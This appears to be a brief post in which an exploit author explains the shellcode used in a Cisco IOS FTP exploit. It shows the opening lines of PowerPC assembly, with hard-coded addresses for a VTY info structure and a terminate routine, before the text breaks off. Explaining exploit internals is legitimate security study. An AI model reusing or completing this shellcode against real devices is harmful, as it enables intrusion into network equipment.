Cisco IOS shellcode explanation

Hi, Lots of people have been asking for details about the slightly unorthodox shellcode I used within the IOS FTP exploit, so here goes: .equ vtyinfo, 0x8182da60 //contains a pointer to the VTY info structure .equ terminate, 0x80e4086c lis 4,vtyinfo@ha la 4,vtyinfo@l4 xor 8,8,8 //Clear r8 lwzx...